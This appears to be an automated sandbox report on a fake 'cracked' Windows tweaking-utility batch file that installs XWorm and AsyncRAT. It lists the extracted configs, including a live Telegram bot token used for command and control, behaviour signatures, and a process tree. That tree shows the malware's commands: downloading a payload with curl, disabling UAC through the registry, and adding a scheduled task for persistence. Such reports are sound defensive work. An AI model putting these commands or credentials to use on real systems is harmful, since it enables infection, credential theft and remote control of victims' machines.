Analysis

  • max time kernel
    150s
  • max time network
    149s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    06-10-2024 03:47

General

  • Target

    EXM_Premium_Tweaking_Utility_1.0_Cracked.bat

  • Size

    672KB

  • MD5

    f9ca73d63fe61c4c401528fb470ce08e

  • SHA1

    584f69b507ddf33985673ee612e6099aff760fb1

  • SHA256

    16431cc14917abeb316e0bc44045440a8f86b7ac4fdd0dce99de6435d493ecca

  • SHA512

    6fd03320ec84baf09a16a127c2c0ed3c265906fcb1a3b807c13001e775c396b66539238392438a8f290be04b8b8684050736331f8f99dbe8b868b44f154dd9de

  • SSDEEP

    3072:BIGzQbmbkAqA2xH7VkKEn14IZVvisLur+K3:BIGiVNEn14IZVvisL43

Malware Config

Extracted

Family

xworm

Attributes
  • Install_directory

    %LocalAppData%

  • install_file

    USB.exe

  • pastebin_url

    https://pastebin.com/raw/ZnhxAV6a

  • telegram

    https://api.telegram.org/bot7538644364:AAHEMV7mmxz6PSRgzo0ORf3_n0BaazmrAqk/sendMessage?chat_id=7541917888

Extracted

Family

asyncrat

Botnet

Default

C2

127.0.0.1:6606

127.0.0.1:7707

127.0.0.1:8808

https://api.telegram.org/bot7538644364:AAHEMV7mmxz6PSRgzo0ORf3_n0BaazmrAqk/sendMessage?chat_id=7541917888

Mutex

AsyncMutex_6SI8OkPnk

Attributes
  • delay

    3

  • install

    false

  • install_folder

    %AppData%

aes.plain

Signatures

  • AsyncRat

    AsyncRAT is designed to remotely monitor and control other computers written in C#.

  • Detect Xworm Payload 2 IoCs
  • StormKitty

    StormKitty is an open source info stealer written in C#.

  • StormKitty payload 2 IoCs
  • UAC bypass 3 TTPs 1 IoCs
  • Xworm

    Xworm is a remote access trojan written in C#.

  • Async RAT payload 1 IoCs
  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 2 IoCs
  • Executes dropped EXE 3 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Drops desktop.ini file(s) 7 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Using powershell.exe command.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 6 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • System Location Discovery: System Language Discovery 1 TTPs 8 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 2 IoCs

    Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 26 IoCs
  • Suspicious use of AdjustPrivilegeToken 49 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 58 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\EXM_Premium_Tweaking_Utility_1.0_Cracked.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:5080
    • C:\Windows\system32\reg.exe
      Reg.exe delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\SystemRestore" /v "RPSessionInterval" /f
      2⤵
        PID:4592
      • C:\Windows\system32\reg.exe
        Reg.exe delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\SystemRestore" /v "DisableConfig" /f
        2⤵
          PID:2624
        • C:\Windows\system32\reg.exe
          Reg.exe add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\SystemRestore" /v "SystemRestorePointCreationFrequency" /t REG_DWORD /d 0 /f
          2⤵
            PID:3736
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell -ExecutionPolicy Unrestricted -NoProfile Enable-ComputerRestore -Drive 'C:\'
            2⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:3216
          • C:\Windows\system32\reg.exe
            Reg.exe ADD "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "EnableLUA" /t REG_DWORD /d "0" /f
            2⤵
            • UAC bypass
            PID:2636
          • C:\Windows\system32\reg.exe
            Reg.exe add "HKCU\CONSOLE" /v "VirtualTerminalLevel" /t REG_DWORD /d "1" /f
            2⤵
              PID:1120
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c wmic path Win32_UserAccount where name="Admin" get sid | findstr "S-"
              2⤵
              • Suspicious use of WriteProcessMemory
              PID:3644
              • C:\Windows\System32\Wbem\WMIC.exe
                wmic path Win32_UserAccount where name="Admin" get sid
                3⤵
                • Suspicious use of AdjustPrivilegeToken
                PID:1372
              • C:\Windows\system32\findstr.exe
                findstr "S-"
                3⤵
                  PID:4532
              • C:\Windows\system32\chcp.com
                chcp 65001
                2⤵
                  PID:3028
                • C:\Windows\system32\chcp.com
                  chcp 437
                  2⤵
                    PID:4028
                  • C:\Windows\system32\curl.exe
                    curl -g -k -L -# -o "C:\Users\Admin\AppData\Local\Temp\exm.zip" "https://github.com/anonyketa/EXM-Tweaking-Utility-Premium/releases/download/V1.0/exm.zip"
                    2⤵
                      PID:1840
                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                      powershell -NoProfile Expand-Archive 'C:\Users\Admin\AppData\Local\Temp\exm.zip' -DestinationPath 'C:\Exm\'
                      2⤵
                      • Command and Scripting Interpreter: PowerShell
                      • Suspicious behavior: EnumeratesProcesses
                      • Suspicious use of AdjustPrivilegeToken
                      PID:3552
                    • C:\exm\EXMservice.exe
                      EXMservice.exe
                      2⤵
                      • Checks computer location settings
                      • Executes dropped EXE
                      • Suspicious use of WriteProcessMemory
                      PID:4516
                      • C:\Users\Admin\msedge.exe
                        "C:\Users\Admin\msedge.exe"
                        3⤵
                        • Checks computer location settings
                        • Drops startup file
                        • Executes dropped EXE
                        • Suspicious behavior: AddClipboardFormatListener
                        • Suspicious behavior: EnumeratesProcesses
                        • Suspicious use of AdjustPrivilegeToken
                        • Suspicious use of SetWindowsHookEx
                        • Suspicious use of WriteProcessMemory
                        PID:448
                        • C:\Windows\System32\schtasks.exe
                          "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "msedge" /tr "C:\Users\Admin\AppData\Local\msedge.exe"
                          4⤵
                          • Scheduled Task/Job: Scheduled Task
                          PID:2084
                      • C:\Users\Admin\svchost.exe
                        "C:\Users\Admin\svchost.exe"
                        3⤵
                        • Executes dropped EXE
                        • Drops desktop.ini file(s)
                        • System Location Discovery: System Language Discovery
                        • Suspicious behavior: EnumeratesProcesses
                        • Suspicious use of AdjustPrivilegeToken
                        • Suspicious use of WriteProcessMemory
                        PID:2552
                        • C:\Windows\SysWOW64\cmd.exe
                          "cmd.exe" /C chcp 65001 && netsh wlan show profile | findstr All
                          4⤵
                          • System Location Discovery: System Language Discovery
                          • System Network Configuration Discovery: Wi-Fi Discovery
                          • Suspicious use of WriteProcessMemory
                          PID:4472
                          • C:\Windows\SysWOW64\chcp.com
                            chcp 65001
                            5⤵
                            • System Location Discovery: System Language Discovery
                            PID:4172
                          • C:\Windows\SysWOW64\netsh.exe
                            netsh wlan show profile
                            5⤵
                            • Event Triggered Execution: Netsh Helper DLL
                            • System Location Discovery: System Language Discovery
                            • System Network Configuration Discovery: Wi-Fi Discovery
                            PID:1844
                          • C:\Windows\SysWOW64\findstr.exe
                            findstr All
                            5⤵
                            • System Location Discovery: System Language Discovery
                            PID:1704
                        • C:\Windows\SysWOW64\cmd.exe
                          "cmd.exe" /C chcp 65001 && netsh wlan show networks mode=bssid
                          4⤵
                          • System Location Discovery: System Language Discovery
                          • Suspicious use of WriteProcessMemory
                          PID:404
                          • C:\Windows\SysWOW64\chcp.com
                            chcp 65001
                            5⤵
                            • System Location Discovery: System Language Discovery
                            PID:3016
                          • C:\Windows\SysWOW64\netsh.exe
                            netsh wlan show networks mode=bssid
                            5⤵
                            • Event Triggered Execution: Netsh Helper DLL
                            • System Location Discovery: System Language Discovery
                            PID:2212
                    • C:\Windows\system32\chcp.com
                      chcp 65001
                      2⤵
                        PID:3708
                    • C:\Windows\system32\AUDIODG.EXE
                      C:\Windows\system32\AUDIODG.EXE 0x428 0x2f8
                      1⤵
                      • Suspicious use of AdjustPrivilegeToken
                      PID:3092

                    Network

                    MITRE ATT&CK Enterprise v15

                    Replay Monitor

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                    Downloads

                    • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

                      Filesize

                      2KB

                      MD5

                      6cf293cb4d80be23433eecf74ddb5503

                      SHA1

                      24fe4752df102c2ef492954d6b046cb5512ad408

                      SHA256

                      b1f292b6199aa29c7fafbca007e5f9e3f68edcbbca1965bc828cc92dc0f18bb8

                      SHA512

                      0f91e2da0da8794b9797c7b50eb5dfd27bde4546ceb6902a776664ce887dd6f12a0dd8773d612ccc76dfd029cd280778a0f0ae17ce679b3d2ffd968dd7e94a00

                    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                      Filesize

                      64B

                      MD5

                      235a8eb126d835efb2e253459ab8b089

                      SHA1

                      293fbf68e6726a5a230c3a42624c01899e35a89f

                      SHA256

                      5ffd4a816ae5d1c1a8bdc51d2872b7dd99e9c383c88001d303a6f64a77773686

                      SHA512

                      a83d17203b581491e47d65131e1efc8060ff04d1852e3415fc0a341c6a9691ef9f4cf4dd29d2f6d0032a49f2ba4bd36c35b3f472f0ce5f78f4bb139124760e92

                    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_vsvli3ks.d22.ps1

                      Filesize

                      60B

                      MD5

                      d17fe0a3f47be24a6453e9ef58c94641

                      SHA1

                      6ab83620379fc69f80c0242105ddffd7d98d5d9d

                      SHA256

                      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                      SHA512

                      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

                    • C:\Users\Admin\AppData\Local\Temp\exm.zip

                      Filesize

                      13.3MB

                      MD5

                      57a6527690625bea4e4f668e7db6b2aa

                      SHA1

                      c5799fd94999d128203e81e22c6d9fdb86e167ee

                      SHA256

                      076e01b09f9c5cccc273b2f7dfa1a1efccc1a8e8ebf98a7eee756024b93bad17

                      SHA512

                      d86c7f79989eb0781e15f8631048506ffab338f933ddfedbcc2c7464447770beaf21b7ed3cba2ebb97be5ffdc9a450f2df2e2313efaeb8e8101f2ee53c066e4e

                    • C:\Users\Admin\AppData\Local\a0e2b125bf4472ee3a6d3e2674bf0927\Admin@PVMNUDVD_en-US\Browsers\Firefox\Bookmarks.txt

                      Filesize

                      105B

                      MD5

                      2e9d094dda5cdc3ce6519f75943a4ff4

                      SHA1

                      5d989b4ac8b699781681fe75ed9ef98191a5096c

                      SHA256

                      c84c98bbf5e0ef9c8d0708b5d60c5bb656b7d6be5135d7f7a8d25557e08cf142

                      SHA512

                      d1f7eed00959e902bdb2125b91721460d3ff99f3bdfc1f2a343d4f58e8d4e5e5a06c0c6cdc0379211c94510f7c00d7a8b34fa7d0ca0c3d54cbbe878f1e9812b7

                    • C:\Users\Admin\AppData\Local\a0e2b125bf4472ee3a6d3e2674bf0927\Admin@PVMNUDVD_en-US\System\Process.txt

                      Filesize

                      4KB

                      MD5

                      801692e25fd2d734f1bf9cef45639457

                      SHA1

                      e177a8d639eeac53f2cfa179b8961a285986954d

                      SHA256

                      dd2d330812f15506b7dbf32734c37fab801b60a95951e41fbdc47edec2d39bd9

                      SHA512

                      64733ee99fc5e1b21d28d1c8b1d641bbe7b3dd4d4d8bc437a41d6859d9b435b556de55b57712e6cf3e202cf4737940d75875ca1f20e8c83f7647a0af9addae7b

                    • C:\Users\Admin\msedge.exe

                      Filesize

                      146KB

                      MD5

                      f1c2525da4f545e783535c2875962c13

                      SHA1

                      92bf515741775fac22690efc0e400f6997eba735

                      SHA256

                      9e6985fdb3bfa539f3d6d6fca9aaf18356c28a00604c4f961562c34fa9f11d0f

                      SHA512

                      56308ac106caa84798925661406a25047df8d90e4b65b587b261010293587938fa922fbb2cfdedfe71139e16bfcf38e54bb31cbcc00cd244db15d756459b6133

                    • C:\Users\Admin\svchost.exe

                      Filesize

                      226KB

                      MD5

                      1bea6c3f126cf5446f134d0926705cee

                      SHA1

                      02c49933d0c2cc068402a93578d4768745490d58

                      SHA256

                      1d69b5b87c4cd1251c5c94461a455659febb683eab0ebd97dd30da2319ffc638

                      SHA512

                      eb9f423f6adb5e686a53f5f197e6b08455f8048d965a9ec850838fdf4724ef87f68945c435ace5a48a9a7226006a348e97586335d0246ea0dc898a412dea5df3

                    • C:\exm\EXMservice.exe

                      Filesize

                      12.0MB

                      MD5

                      aab9c36b98e2aeff996b3b38db070527

                      SHA1

                      4c2910e1e9b643f16269a2e59e3ada80fa70e5fa

                      SHA256

                      c148cc14f15b71a2d3f5e6bce6b706744f6b373a7e6c090c14f46f81d2d6e82f

                      SHA512

                      0db75756a041a7cda6b384718581aaf11e6873614465dd56e81f17ad171cffe380e288a3c2ee540222190392904921f26df8a1d66d4108051c60fc8e5b2df779

                    • memory/448-131-0x0000000000850000-0x000000000087A000-memory.dmp

                      Filesize

                      168KB

                    • memory/2552-288-0x0000000005E40000-0x0000000005ED2000-memory.dmp

                      Filesize

                      584KB

                    • memory/2552-289-0x0000000006490000-0x0000000006A34000-memory.dmp

                      Filesize

                      5.6MB

                    • memory/2552-133-0x00000000052E0000-0x0000000005346000-memory.dmp

                      Filesize

                      408KB

                    • memory/2552-132-0x00000000003D0000-0x000000000040E000-memory.dmp

                      Filesize

                      248KB

                    • memory/3216-15-0x00007FFC0B250000-0x00007FFC0BD11000-memory.dmp

                      Filesize

                      10.8MB

                    • memory/3216-0-0x00007FFC0B253000-0x00007FFC0B255000-memory.dmp

                      Filesize

                      8KB

                    • memory/3216-12-0x00007FFC0B250000-0x00007FFC0BD11000-memory.dmp

                      Filesize

                      10.8MB

                    • memory/3216-11-0x00007FFC0B250000-0x00007FFC0BD11000-memory.dmp

                      Filesize

                      10.8MB

                    • memory/3216-6-0x000001C12BC20000-0x000001C12BC42000-memory.dmp

                      Filesize

                      136KB

                    • memory/3552-28-0x000001CFA1CF0000-0x000001CFA1D02000-memory.dmp

                      Filesize

                      72KB

                    • memory/3552-29-0x000001CFA1CD0000-0x000001CFA1CDA000-memory.dmp

                      Filesize

                      40KB

                    • memory/4516-71-0x00000000009C0000-0x0000000000A26000-memory.dmp

                      Filesize

                      408KB